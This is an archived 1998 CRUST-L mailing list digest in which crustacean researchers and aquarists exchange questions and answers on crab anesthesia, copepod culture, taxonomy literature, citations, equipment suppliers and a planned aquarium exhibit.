MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Shiao Y. Wang"" Date: Thu, 12 Mar 1998 13:32:56 -0600 Subject: CRUST-L: Effective methods to kill a crab > 1. Can anyone suggest the appropriate concentration of MS-222 for > freshwater crabs? > > 2. Is it an accepted method to fast freeze the whole crab in liquid N2 and > then to take the tissue samples? I recommend that you simply place the crab in ice water for several minutes. - -- Shiao Y. Wang University of Southern Mississippi sywang@whale.st.usm.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Dr. David M. Webb"" Date: Thu, 12 Mar 1998 14:43:57 -0500 (EST) Subject: CRUST-L: Re: your mail Jennifer: It's hard to know what to recommend, without knowing what sort of information you're looking for. For theoretical treatments, you might try books by: George Gaylord Simpson Theodosius Dobzhansky Niles Eldriged (e.g., _Time Frames_) Stephen Jay Gould (writings in _Natural History_) Willi Hennig, _Phylogenetic Systematics_ Edward O. Dodson, _Process and Product_ For general palaeontology books, perhaps one of the following would be helpful: Alfred S. Romer, _Vertebrate Paleontology_ Edwin H. Colbert, _Evolution of the Vertebrates_ Richard Cowen, _History of Life_ (a textbook) Niles Eldridge and Murray Alcosser, _Fossils_ For books specifically about human or primate evolution, you might like: John G. Fleage, _Primate Adaptation and Evolution_ Glenn C. Conroy, _Primate Evolution_ Donald Johanson and Maitland Edey, _Lucy_ Donald Johanson and Blake Edgar, _From Lucy to Language_ Ian Tattersall, _The Human Odyssey_ Richard Leakey and Roger Lewin, _Origins Reconsidered_ Roger Lewin, _Human Evolution: An Illustrated Introduction_ C. Loring Brace, _The Stages of Human Evolution_ Some of these are popular books, others are textbooks. Of course, your library will have some of these and probably many others, including the major textbooks in the field. Some of the most modern textbooks will not be in your library, because they are available only in paperback, and libraries are rightly concerned that these are too fragile to be effective for their purposes. You may well be able to borrow a small textbook from someone in your anthropology or biology department (if you're at a college). I should warn you that, if you're looking for a synopsis of human evolution or the evolution of some other group, to be sent back to you via e-mail, humbio-l is probably not the place to look. Most of the traffic on this list seems to come from graduate students and professionals in physical anthropology, and a great deal of familiarity with the subject is assumed by most of our subscribers. Also, you may get more personal opinion about some of the more contentious issues than you bargained for:) Good luck! David Webb Kutztown University (PA) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""GJC"" Date: Thu, 12 Mar 1998 15:52:45 -0500 Subject: CRUST-L: freshwater crustacean exhibit Hi! My name is Jeff Campbell. I am very new to the crust-l. I am employed at the Tennessee Aquarium in Chattanooga, TN as a senior aquarist. Our aquarium is a world-class, primarily freshwater aquarium. Even though I am in charge of our fish quarantine area, I have had for some time a keen interest in crustaceans, especially decapods. As many may realize, Tennessee is a ""hotbed"" of crayfish diversity. I have felt for some time that there is an excellent opportunity to educate the public as to this rich diversity. Perhaps even an obligation to tell this story... Well, my persistence seems to have paid off. There is a very strong chance that our next theme for the ""changing theme"" gallery will be crustaceans. Our first theme, ""Jellyfish...Phantoms of the Deep"" opens tomorrow, and will run until spring of 2000. This gives plenty of time to develop ideas, etc. Due to the marine nature of the Jellyfish... it was felt that the crustacean gallery should have a primarily freshwater focus. Of course there would be a number of marine animals as well... I would love to hear from anyone willing to give me ideas on specific themes, animals, etc. North america has rich diversity, and should probably not present much of a problem as per acquisition of animals. Asian, African, Australian, Latin American fauna might be more of a problem. There are a number of freshwater crabs, shrimp, and crayfish from these areas that I would be interested in, if I knew about them. The literature that is readily available to me is on north american inverts. This project has all the potential to be a very world-class, global perspective, crustacean exhibit, and as I envision it, perhaps on a level never attempted before... Any assistance would be immensely appreciated... Sincerely, Jeff Campbell, senior aquarist, Tennessee Aquarium P.O.Box 11048 Chattanooga, TN 37401 USA phone 423-785-4157 fax 423-267-3561 e-mail gjc@tennis.org =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Okan Kulkoyluoglu Date: Thu, 12 Mar 1998 15:41:41 -0800 (PST) Subject: CRUST-L: Do the land crabs hear? Dear all, one of my friends wants to know if land hermet(herment?) crabs are able to hear actual sound (e.g., music)...? This question is related with a behavioral study..What would you say? If they do, How? many thanks... Okan =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Liu Fengqi Date: Fri, 13 Mar 1998 10:33:57 +0800 Subject: Re: CRUST-L: Acetes sp. culture There is a great population of Acetes sinensis in Bohai Bay, China. Now the captured Acetes are sold as feed ingredent and also a small part for human consumption. Regards, Liu Fengqi >Subject: Re: CRUST-L: Acetes sp culture & reproduction info needed > Does anyone have or know where I can find information about Acetes sp. > shrimp & their breeding morphology? Any info on captive culture would also > be great. > > Thanks & regards > > Paul Groves > Head Aquarist > Underwater World - Perth - Australia > Founder MASWA - Marine Aquarists Society of WA > Email paul@nw.com.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Shiao Y. Wang"" Date: Fri, 13 Mar 1998 02:07:32 -0600 Subject: Re: CRUST-L: growing freshwater copepods > My question to those of you who culture freshwater copepods: > 1) Is there a culture medium available that simulates lake water? > 2) Has anyone tried spring water from the grocery, and which brands are > preferable? Carol, EPA published a manual on standard methods to do toxicological assays. Included are recipes for making artificial pond/spring water (soft, medium and hard water) using distilled water. You might want to check in your library for such a publication. If you can't find it, let me know and I'll dig around for the reference. - -- Shiao Y. Wang University of Southern Mississippi sywang@whale.st.usm.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: pnoel@CIMRS1.MNHN.FR (Pierre NOEL) Date: Fri, 13 Mar 1998 16:01:40 +0100 Subject: CRUST-L: Recent Book Penaeidea INFORMATION =========== A recent book that might interest those studying Peneids and taxonomy of Crustacea Decapoda : Perez Farfante I., Kensley B. F., 1997. Penaeoid and Sergestoid Shrimps and Prawns of the World. Keys and Diagnoses for the Families and Genera. Mem. Mus. natn. Hist. nat., 175 : 1-223, figs 1-143. Paris ISBN: 2-85653-510-0. in France : 350 FF TTC (frais de port en sus) Museum National d'Histoire Naturelle, service des publications scientifiques, Diffusion Delphine Henry, 57 rue Cuvier, F-75005 Paris. Tel [33] 01 40 79 37 00; fax [33] 01 40 79 38 40; e-mail dhenry@mnhn.fr out of France, Sales Office = Universal Book Services, Dr. W. Backhuys, P. O. Box 321, NL-2300 AH Leiden, The Nederlands Tel. [31] (71) 517 02 08; fax [31] (71) 517 18 56; e-mail backhuys@euronet.nl [informations on scientific publications of the Museum : http://www.mnhn.fr/ ] This works presents a study of the taxonomy of the penaeidean shrimps of the world. This group of shrimp includes many of commercially important marine species of the tropics and subtropics, as well as many of the species that constitutes a major link in the food chain of the oceans. The works present keys for the identification of 7 families and 56 genera, as well as diagnoses that attempt to define these taxa with scientific clarity. Also included are lists of the species and subspecies currently included in these genera, along with their geographic distribution, and a full bibliography. Pierre Y. NOEL, Biologie des Invertebres marins, CNRS URA no699, Museum national d'Histoire naturelle, 55 rue Buffon, F-75005 Paris, France. e mail pnoel@mnhn.fr Tel +33 1 4079 3098 - Fax +33 1 4079 3089 Visitez le serveur du Museum/Visit our Webserver (http://www.mnhn.fr) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 13 Mar 1998 11:35:47 -0500 (EST) Subject: CRUST-L: Re: How to retrieve old crust-l messages? CRUSTLers, I have put the archives of CRUST-L posts on the web. If you wish to see them, go to http://www.vims.edu/~jeff/archive.htm They're currently organized by month, but I'm open to organizing them by year if you think it'll be easier to search for keywords. Let me know if you use them. > Today's thread on anastethics has reminded me of an old thread, dating back > to about one year ago, which I lost from my PC. > > How can I retrieve those messages? Re anaesthetics: this topic, and the one on anti-coagulants come up enough that they would make a good web page. Any takers? Cheers, Jeff List Administrator jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Zhao Jianhong Date: Sat, 14 Mar 1998 11:58:15 +0800 (SST) Subject: CRUST-L: effective method killing E. sinensis Dear Crustlers: I would like to thank all of you who gave me suggestions and advice on finding out an effective killing method. J.H. Zhao School of Biological Sciences National University of Singapore Lower Kent Ridge Road Singapore 119260 email: scip5001@leonis.nus.edu.sg ************************************************************************************ I want to find a post-doc position in aquatic toxicology. Any information is welcomed. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Bartlomiej Stanczyk Date: Sun, 15 Mar 1998 12:33:15 +0100 Subject: CRUST-L: Marine life Dear all, I am from Poland and I graduated the University of Lodz where I was studying Environment Protection and Biology of Water. I have been interested in marine life, particularly ecology of Malacostraca. I researched about biodiversity and ecology of Isopods in southern Baltic Sea. My proviser was professor Christopher Jazdzewski from the University of Lodz. I wish I could cooperate with any institution dealing with researches about what I am interested in. I should be grateful if there were anybody to send me information about any possibilities of that. Many thanks in advance Bartlomiej Stanczyk e-mail: stanczyk@kki.net.pl =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Wulf Kobusch"" Date: Mon, 16 Mar 1998 13:33:11 +0000 Subject: CRUST-L: Bacescu 1967 - Hansenomysis Hello CRUSTLers, is there anybody out there who has ever heard of the following Journal, or the following title: BACESCU, M. (1967): Contributions to the study of the genus Hansenomysis and descriptions of six new species from Peru Trench (Pacific Ocean). Duke Univ. (pp ?) The journal could be ""The Bulletin of the Duke University Marine Station (Durham, North Carolina)"". Here in Europe it is not possible to get this title. May be that somebody of you has a copy for me if it no that long. Best wishes to all of you Wulf *********************************************************** Wulf Kobusch Ruhr Universitaet Bochum Lehrstuhl fuer Spezielle Zoologie Gebaeude ND 05 / 776 Universitaetsstrasse 150 44801 Bochum GERMANY phone: +49/(0)234-700-5577 or -4563 fax: +49/(0)234-7094-114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Thomas trott Date: Mon, 16 Mar 1998 12:04:22 -0500 (EST) Subject: CRUST-L: nytex gauze I am looking for a supplier of nytex gauze (screen) for sieves to be used in meiofaunal sampling. Can anyone suggest a source for nytex? Thanks, Tom ********************************************************************** Dr. Thomas J. Trott Boston University Marine Program Marine Biological Laboratory Woods Hole, MA 02543 work:508-289-7145 fax:508-289-7295 email:ttrott@bio.bu.edu ********************************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Booth Date: Mon, 16 Mar 1998 13:08:03 -0500 Subject: Re: CRUST-L: nytex gauze You might try Aquatic Research Instruments, P.O. Box 2214, Seattle, WA 98111 (Ph: 206-789-0138; FAX: 206-789-8344). My catalog is from 1992, so I don't know if the phone numbers are correct. Chuck Booth >I am looking for a supplier of nytex gauze (screen) for sieves to be used >in meiofaunal sampling. Can anyone suggest a source for nytex? > >Thanks, >Tom > > >********************************************************************** >Dr. Thomas J. Trott >Boston University Marine Program >Marine Biological Laboratory >Woods Hole, MA 02543 >work:508-289-7145 >fax:508-289-7295 >email:ttrott@bio.bu.edu > >********************************************************************** >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 Fax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #125 ***************************** >From owner-crust-l-digest@vims.eduFri Mar 20 12:46:47 1998 Date: Thu, 19 Mar 1998 11:06:14 -0500 From: owner-crust-l-digest@vims.edu Reply to: crust-l@vims.edu To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #126 crust-l-digest Thursday, 19 March 1998 Volume 01 : Number 126 Re: CRUST-L: Bacescu 1967 - Hansenomysis CRUST-L: weight of Birgus CRUST-L: G. O. Sars and Huus old papers CRUST-L: Fwd: For Shrimp Farmers Only = Free Listing CRUST-L: Scholtz' paper CRUST-L: Procambarus paenisulanus (author) Re: CRUST-L: Scholtz' paper Re: CRUST-L: Scholtz' paper RE: CRUST-L: Procambarus paenisulanus (author) CRUST-L: New catalogue Re: CRUST-L: Procambarus paenisulanus (author) CRUST-L: contact CRUST-L: Sesarmid larval culture RE: CRUST-L: Procambarus paenisulanus (author) RE: CRUST-L: Procambarus paenisulanus (author) (fwd) Re:CRUST-L: Sesarmid larval culture CRUST-L: setae details Re: CRUST-L: setae details ---------------------------------------------------------------------- From: Sonia Cawsey McGowan Date: Mon, 16 Mar 1998 10:19:48 -0800 Subject: Re: CRUST-L: Bacescu 1967 - Hansenomysis This is a multi-part message in MIME format. - --------------66ECFEBEFBBEDB5FD723A330 Content-Type: text/plain; charset=us-ascii Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Are you sure it is not a chapter in the following book? Bacescu, Mihai C. Contributions to the Mysid Crustacea from the Peru-Chile Trench (Pacific Ocean) 1971 Anton Bruun report ; no. 7 Scientific results of the Southeast Pacific Expedition Anton Bruun (Ship). Anton Bruun report ; 7. Southeast Pacific Expedition, 1965-1966. Scientific results of the Southeast Pacific Expedition. > Hello CRUSTLers, > > is there anybody out there who has ever heard of the following > Journal, or the following title: > > BACESCU, M. (1967): Contributions to the study of the genus > Hansenomysis and descriptions of six new species from Peru Trench > (Pacific Ocean). Duke Univ. (pp ?) > > The journal could be ""The Bulletin of the Duke University Marine > Station (Durham, North Carolina)"". Here in Europe it is not possible > to get this title. May be that somebody of you has a copy for me if > it no that long. > > Best wishes to all of you > > Wulf > > *********************************************************** > Wulf Kobusch > Ruhr Universitaet Bochum > Lehrstuhl fuer Spezielle Zoologie > Gebaeude ND 05 / 776 > Universitaetsstrasse 150 > 44801 Bochum > GERMANY > > phone: +49/(0)234-700-5577 or -4563 > fax: +49/(0)234-7094-114 > e-mail: wulf.c.kobusch@ruhr-uni-bochum.de > > *********************************************************** > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-= - --------------66ECFEBEFBBEDB5FD723A330 Content-Type: text/x-vcard; charset=us-ascii; name=""vcard.vcf"" Content-Transfer-Encoding: 7bit Content-Description: Card for Sonia Cawsey Content-Disposition: attachment; filename=""vcard.vcf"" begin: vcard fn: Sonia Cawsey n: Cawsey;Sonia org: Copley Library adr: University of San Diego;;5998 Alcala Park;San Diego;CA;92110; email;internet: scawsey@acusd.edu tel;work: 619/260-2360 tel;fax: 619/260-4617 note: http://www.acusd.edu/~scawsey x-mozilla-cpt: ;0 x-mozilla-html: FALSE end: vcard - --------------66ECFEBEFBBEDB5FD723A330-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""P. Castro"" Date: Mon, 16 Mar 1998 13:13:35 -0800 (PST) Subject: CRUST-L: weight of Birgus Dear colleagues: I am interested in finding out the maximum weight recorded for coconut, or robber, crabs (Birgus latro), the largest terrestrial arthropod. Thanks a million, Peter **************************************** P. Castro, Ph.D. Biological Sciences Department California State Polytechnic University Pomona, CA 91768-4032, U.S.A. e-mail: pcastro@csupomona.edu http://www.csupomona.edu/biology/ Phone - voice mail: (909)869-4069 Fax: (909)869-4078 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Antonina dos Santos Date: Tue, 17 Mar 1998 10:24:29 +0000 Subject: CRUST-L: G. O. Sars and Huus old papers Dear all, I would greatly appreciate if anyone can find and copy for me some ancient papers, that I can't find here. They are: SARS, G. O. 1875. Forh. Videnskselsk. Krist., 1874, 1-27, 2 pls. SARS, G. O. 1889. Bidrag til kundskaben on Decapodernes Forvandlinger. II. Lithodes, Eupagurus, Spiropagurus, Galathodes, Galathea, Munida, Porcellana, Nephrops. Arch. Math. Naturv., 13, 133-201, 7 pl. SARS, G. O. 1890. Bidrag til kundskaben om Decapodernes Forvandlinger. III. Fam. Crangonidae. Arch. Math. Naturv., 14, 132-195. SARS, G. O. 1912. Account of the post-embryonal development of Hippolyte varians LEACH. Arch. Math. Nat., 32, 5 or 7, 1-25. HUUS, J. 1935. Bergens Mus. Arb., 1934, 8, 1-29, 4 pls. Thank you in advance. Yours sincerely, Antonina. =================== Antonina dos Santos Inst. de Inv. das Pescas e do Mar (IPIMAR) Av. de Brasilia 1400 Lisboa Portugal Tel. +351 1 3010814 Fax: +351 1 3015849 E-mail: antonina@ipimar.pt ========================== =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Shrimpnews Date: Tue, 17 Mar 1998 08:33:14 EST Subject: CRUST-L: Fwd: For Shrimp Farmers Only = Free Listing Hi, I'm Bob Rosenberry, editor/publisher at Shrimp News International. I've just started working on ""The 1998 Directory of the Shrimp Industry in the Western Hemisphere"", which will be published in June 1998. If you would like a free listing in the directory, please forward the following information: First Name Last Name Title Company/Institution Address Phone Fax Email Three Words That Show Your Association to the Shrimp Industry. Any three words will work. Choose words that describe your specialities, products and services. I use ""Publications/Shrimp/Farming"". Other examples: ""Researcher/Broodstock/Maturation"", ""Importer/Processor/Distributor"", ""Equipment/Aeration/Pumps"", ""Hatchery/Seedstock/Latin America"" and ""Farmer/Growout/Export"". Sincerely, Bob Rosenberry, Editor/Publisher Shrimp News International 9450 Mira Mesa Boulevard, Suite B-562 San Diego, California 92126 USA Phone 619-271-6354 Fax 619-271-0324 Web Page http://members.aol.com/brosenberr/Home.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Andreas Maas Date: Wed, 18 Mar 1998 08:51:34 +0100 Subject: CRUST-L: Scholtz' paper Hi Crustlers, Since I have got a question to a German paper, I think I may ask in German. Wer kann mir die genaue Zitation des folgenden Artikels geben: SCHOLTZ, G. 1995. Ursprung und Evolution der Flu=DFkrebse. Sitzungsberichte der Gesellschaft Naturforschender Freunde zu Berlin ... Mir fehlen der Band und die Seitenzahlen. Vielen Dank im voraus Andreas Andreas Maas Sektion fuer Biosystematische Dokumentation Universitaet Ulm Liststrasse 3, D-89079 Ulm Tel. xx49-(0)731-4014-163, Fax 159 email: andreas.maas@biologie.uni-ulm.de =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Amir Sagi Date: Wed, 18 Mar 1998 16:05:58 +0200 () Subject: CRUST-L: Procambarus paenisulanus (author) Dear Crust-lrs Does anybody knows the author for this crayfish? Procambarus paenisulanus (author?) Yours Amir ***************************************************** Dr. Amir Sagi Office: 972 7 6461364 Department of Life Sciences Lab: 972 7 6472668 Ben-Gurion University Fax: 972 7 6472890 P.O.Box 653 Beer Sheva 84105 Israel http://www.bgu.ac.il/life/sagi.html ***************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Erich Eder"" Date: Wed, 18 Mar 1998 14:39:54 MET-1MEST Subject: Re: CRUST-L: Scholtz' paper > Since I have got a question to a German paper, I think I may ask in German. > Wer kann mir die genaue Zitation des folgenden Artikels geben: > SCHOLTZ, G. 1995. Ursprung und Evolution der Flusskrebse. Sitzungsberichte > der Gesellschaft Naturforschender Freunde zu Berlin ... > Mir fehlen der Band und die Seitenzahlen. It is: Ursprung und Evolution der Flusskrebse (Crustacea, Astacida), Sitzungsberichte der Gesellschaft Naturforschender Freunde zu Berlin (N.F.) Band 34, 23.11.1995, 93-115. [english abstract: origin and evolution of freshwater crayfishes] Hope I could help you. For further information you can contact Dr.Richter, a collaborator of Prof.Scholtz. E-mail: st=richter@biologie.hu-berlin.de Best regards, EE - -- Erich Eder Institute for Zoology, Univ. Wien, Althanstr.14, A-1090 Vienna AUSTRIA http://urzeitkrebse.home.ml.org (Deutsch) http://branchiopoda.home.ml.org (English) http://branquiopodos.home.ml.org (Espanol) 